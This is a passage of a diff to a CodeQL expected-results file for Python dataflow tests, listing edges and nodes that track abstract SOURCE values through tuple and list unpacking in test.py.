| +| test.py:559:7:559:16 | IterableElement | test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:559:11:559:12 | SSA variable a2 | test.py:561:12:561:13 | ControlFlowNode for a2 | +| test.py:559:15:559:16 | SSA variable a3 | test.py:562:10:562:11 | ControlFlowNode for a3 | +| test.py:559:28:559:29 | ControlFlowNode for ll [List element, List element] | test.py:559:6:559:23 | IterableElement [List element] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:567:5:567:24 | IterableElement [List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | +| test.py:567:7:567:8 | SSA variable a1 | test.py:568:10:568:11 | ControlFlowNode for a1 | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [List element] | test.py:567:7:567:16 | IterableElement | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:567:7:567:8 | SSA variable a1 | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 1] | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | test.py:567:11:567:12 | SSA variable a2 | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:567:5:567:24 | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:567:15:567:16 | SSA variable a3 | +| test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:567:7:567:16 | IterableElement | test.py:567:7:567:16 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:567:11:567:12 | SSA variable a2 | test.py:569:12:569:13 | ControlFlowNode for a2 | +| test.py:567:15:567:16 | SSA variable a3 | test.py:570:10:570:11 | ControlFlowNode for a3 | +| test.py:567:28:567:29 | ControlFlowNode for ll [List element, List element] | test.py:567:5:567:24 | IterableElement [List element] | +| test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:6:575:17 | IterableElement | +| test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:7:575:8 | SSA variable a1 | +| test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:11:575:12 | SSA variable a2 | +| test.py:575:6:575:17 | ControlFlowNode for List [List element] | test.py:575:15:575:16 | SSA variable a3 | +| test.py:575:6:575:17 | IterableElement | test.py:575:6:575:17 | ControlFlowNode for List [List element] | +| test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:575:6:575:17 | ControlFlowNode for List [List element] | +| test.py:575:6:575:23 | IterableElement [List element] | test.py:575:6:575:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:575:7:575:8 | SSA variable a1 | test.py:576:10:576:11 | ControlFlowNode for a1 | +| test.py:575:11:575:12 | SSA variable a2 | test.py:577:12:577:13 | ControlFlowNode for a2 | +| test.py:575:15:575:16 | SSA variable a3 | test.py:578:10:578:11 | ControlFlowNode for a3 | +| test.py:575:28:575:29 | ControlFlowNode for ll [List element, List element] | test.py:575:6:575:23 | IterableElement [List element] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:587:17:587:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:587:23:587:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:17:605:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:23:605:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:584:12:584:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:584:11:584:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, List element] | test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | test.py:587:6:587:14 | ControlFlowNode for List [List element] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | test.py:587:17:587:18 | ControlFlowNode for Starred [List element, List element] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | test.py:587:17:587:18 | SSA variable b [List element] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:17:587:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:17:587:18 | SSA variable b [Tuple element at index 0] | +| test.py:587:5:587:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | test.py:587:17:587:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | +| test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, List element] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | test.py:587:6:587:14 | IterableElement [List element] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | test.py:587:7:587:8 | SSA variable a1 [List element] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | test.py:587:11:587:13 | SSA variable a2 [List element] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:6:587:14 | IterableElement [Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:7:587:8 | SSA variable a1 [Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:587:11:587:13 | SSA variable a2 [Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element] | +| test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:6:587:14 | IterableElement | +| test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:7:587:8 | SSA variable a1 | +| test.py:587:6:587:14 | ControlFlowNode for List [List element] | test.py:587:11:587:13 | SSA variable a2 | +| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | test.py:587:6:587:14 | IterableElement [Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:587:6:587:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:587:6:587:14 | IterableElement | +| test.py:587:6:587:14 | IterableElement | test.py:587:6:587:14 | ControlFlowNode for List [List element] | +| test.py:587:6:587:14 | IterableElement [List element] | test.py:587:6:587:14 | ControlFlowNode for List [List element, List element] | +| test.py:587:6:587:14 | IterableElement [Tuple element at index 0] | test.py:587:6:587:14 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:587:7:587:8 | SSA variable a1 | test.py:588:10:588:11 | ControlFlowNode for a1 | +| test.py:587:7:587:8 | SSA variable a1 [List element] | test.py:591:12:591:13 | ControlFlowNode for a1 [List element] | +| test.py:587:7:587:8 | SSA variable a1 [Tuple element at index 0] | test.py:591:12:591:13 | ControlFlowNode for a1 [Tuple element at index 0] | +| test.py:587:11:587:13 | SSA variable a2 | test.py:589:12:589:13 | ControlFlowNode for a2 | +| test.py:587:11:587:13 | SSA variable a2 [List element] | test.py:590:10:590:11 | ControlFlowNode for a2 [List element] | +| test.py:587:11:587:13 | SSA variable a2 [Tuple element at index 0] | test.py:590:10:590:11 | ControlFlowNode for a2 [Tuple element at index 0] | +| test.py:587:17:587:18 | ControlFlowNode for Starred [List element, List element] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, List element] | +| test.py:587:17:587:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | +| test.py:587:17:587:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | +| test.py:587:17:587:18 | SSA variable b [List element] | test.py:593:12:593:12 | ControlFlowNode for b [List element] | +| test.py:587:17:587:18 | SSA variable b [Tuple element at index 0] | test.py:593:12:593:12 | ControlFlowNode for b [Tuple element at index 0] | +| test.py:587:23:587:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | test.py:587:5:587:19 | IterableElement [Tuple element at index 0] | +| test.py:590:10:590:11 | ControlFlowNode for a2 [List element] | test.py:590:10:590:14 | ControlFlowNode for Subscript | +| test.py:590:10:590:11 | ControlFlowNode for a2 [Tuple element at index 0] | test.py:590:10:590:14 | ControlFlowNode for Subscript | +| test.py:591:12:591:13 | ControlFlowNode for a1 [List element] | test.py:591:12:591:16 | ControlFlowNode for Subscript | +| test.py:591:12:591:13 | ControlFlowNode for a1 [Tuple element at index 0] | test.py:591:12:591:16 | ControlFlowNode for Subscript | +| test.py:593:12:593:12 | ControlFlowNode for b [List element] | test.py:593:12:593:15 | ControlFlowNode for Subscript | +| test.py:593:12:593:12 | ControlFlowNode for b [Tuple element at index 0] | test.py:593:12:593:15 | ControlFlowNode for Subscript | +| test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:596:7:596:8 | SSA variable a1 | test.py:597:10:597:11 | ControlFlowNode for a1 | +| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:6:596:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:596:7:596:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:596:7:596:8 | SSA variable a1 | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [List element, Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:605:17:605:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:605:17:605:18 | SSA variable b [Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 1, Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | +| test.py:605:5:605:19 | ControlFlowNode for List [Tuple element at index 0, Tuple element at index 0] | test.py:605:17:605:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | +| test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:605:7:605:8 | SSA variable a1 | test.py:606:10:606:11 | ControlFlowNode for a1 | +| test.py:605:7:605:8 | SSA variable a1 [Tuple element at index 0] | test.py:609:12:609:13 | ControlFlowNode for a1 [Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [List element, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [List element, Tuple element at index 0] | test.py:605:7:605:13 | IterableElement [Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:605:7:605:8 | SSA variable a1 [Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:605:7:605:8 | SSA variable a1 | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 1, Tuple element at index 0] | +| test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | test.py:605:11:605:13 | SSA variable a2 [Tuple element at index 0] | +| test.py:605:7:605:13 | IterableElement [Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:605:7:605:13 | IterableElement [Tuple element at index 0] | test.py:605:7:605:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | +| test.py:605:11:605:13 | SSA variable a2 [Tuple element at index 0] | test.py:608:10:608:11 | ControlFlowNode for a2 [Tuple element at index 0] | +| test.py:605:17:605:18 | ControlFlowNode for Starred [List element, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, List element, Tuple element at index 0] | +| test.py:605:17:605:18 | ControlFlowNode for Starred [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | ControlFlowNode for List [List element, Tuple element at index 0, Tuple element at index 0] | +| test.py:605:17:605:18 | SSA variable b [Tuple element at index 0] | test.py:611:12:611:12 | ControlFlowNode for b [Tuple element at index 0] | +| test.py:605:23:605:24 | ControlFlowNode for tt [Tuple element at index 0, Tuple element at index 0] | test.py:605:5:605:19 | IterableElement [Tuple element at index 0] | +| test.py:608:10:608:11 | ControlFlowNode for a2 [Tuple element at index 0] | test.py:608:10:608:14 | ControlFlowNode for Subscript | +| test.py:609:12:609:13 | ControlFlowNode for a1 [Tuple element at index 0] | test.py:609:12:609:16 | ControlFlowNode for Subscript | +| test.py:611:12:611:12 | ControlFlowNode for b [Tuple element at index 0] | test.py:611:12:611:15 | ControlFlowNode for Subscript | +| test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:6:614:14 | IterableElement | +| test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:7:614:8 | SSA variable a1 | +| test.py:614:6:614:14 | ControlFlowNode for List [List element] | test.py:614:11:614:13 | SSA variable a2 | +| test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:614:6:614:14 | IterableElement | +| test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:614:6:614:14 | IterableElement | test.py:614:6:614:14 | ControlFlowNode for List [List element] | +| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | test.py:614:6:614:14 | ControlFlowNode for List [List element] | +| test.py:614:6:614:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:614:6:614:14 | ControlFlowNode for List [Tuple element at index 0] | +| test.py:614:7:614:8 | SSA variable a1 | test.py:615:10:615:11 | ControlFlowNode for a1 | +| test.py:614:11:614:13 | SSA variable a2 | test.py:616:12:616:13 | ControlFlowNode for a2 | +| test.py:692:16:692:21 | ControlFlowNode for SOURCE | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | nodes | datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module datamodel | | datamodel.py:13:1:13:6 | GSSA Variable SOURCE | semmle.label | GSSA Variable SOURCE | @@ -473,67 +581,151 @@ nodes | test.py:533:10:533:10 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | | test.py:546:10:546:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:546:10:546:34 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:546:18:546:23 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:547:5:547:5 | SSA variable a | semmle.label | SSA variable a | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | | test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 0] | +| test.py:547:5:547:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | | test.py:547:8:547:9 | ControlFlowNode for Starred [Tuple element at index 0] | semmle.label | ControlFlowNode for Starred [Tuple element at index 0] | +| test.py:547:8:547:9 | SSA variable b | semmle.label | SSA variable b | | test.py:547:8:547:9 | SSA variable b [Tuple element at index 0] | semmle.label | SSA variable b [Tuple element at index 0] | | test.py:548:10:548:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:549:10:549:10 | ControlFlowNode for b [Tuple element at index 0] | semmle.label | ControlFlowNode for b [Tuple element at index 0] | -| test.py:549:10:549:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:555:10:555:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:555:11:555:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:555:12:555:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:555:31:555:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:555:40:555:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:555:41:555:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | -| test.py:558:6:558:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:558:6:558:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:558:7:558:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:558:7:558:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:558:7:558:16 | IterableElement | semmle.label | IterableElement | -| test.py:558:11:558:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:558:15:558:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:558:28:558:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | -| test.py:559:10:559:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:560:12:560:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:561:10:561:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:566:5:566:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 1] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 1] | -| test.py:566:5:566:24 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:566:5:566:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:566:7:566:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:566:7:566:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:566:7:566:16 | IterableElement | semmle.label | IterableElement | -| test.py:566:11:566:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:566:15:566:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:566:28:566:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | -| test.py:567:10:567:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:568:12:568:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:569:10:569:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:574:6:574:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:574:6:574:17 | IterableElement | semmle.label | IterableElement | -| test.py:574:6:574:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:574:6:574:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:574:7:574:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:574:11:574:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:574:15:574:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:574:28:574:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | -| test.py:575:10:575:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:576:12:576:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:577:10:577:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:651:16:651:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:654:10:654:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | +| test.py:549:12:549:12 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | +| test.py:550:10:550:10 | ControlFlowNode for b [Tuple element at index 0] | semmle.label | ControlFlowNode for b [Tuple element at index 0] | +| test.py:550:10:550:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | +| test.py:556:10:556:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:556:11:556:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:556:12:556:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:556:31:556:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:556:40:556:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | +| test.py:556:41:556:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 1] | +| test.py:559:6:559:23 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:559:6:559:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | +| test.py:559:7:559:8 | SSA variable a1 | semmle.label | SSA variable a1 | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [List element] | semmle.label | ControlFlowNode for Tuple [List element] | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | +| test.py:559:7:559:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:559:7:559:16 | IterableElement | semmle.label | IterableElement | +| test.py:559:11:559:12 | SSA variable a2 | semmle.label | SSA variable a2 | +| test.py:559:15:559:16 | SSA variable a3 | semmle.label | SSA variable a3 | +| test.py:559:28:559:29 | ControlFlowNode for ll [List element, List element] | semmle.label | ControlFlowNode for ll [List element, List element] | +| test.py:560:10:560:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | +| test.py:561:12:561:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | +| test.py:562:10:562:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | +| test.py:567:5:567:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | +| test.py:567:5:567:24 | 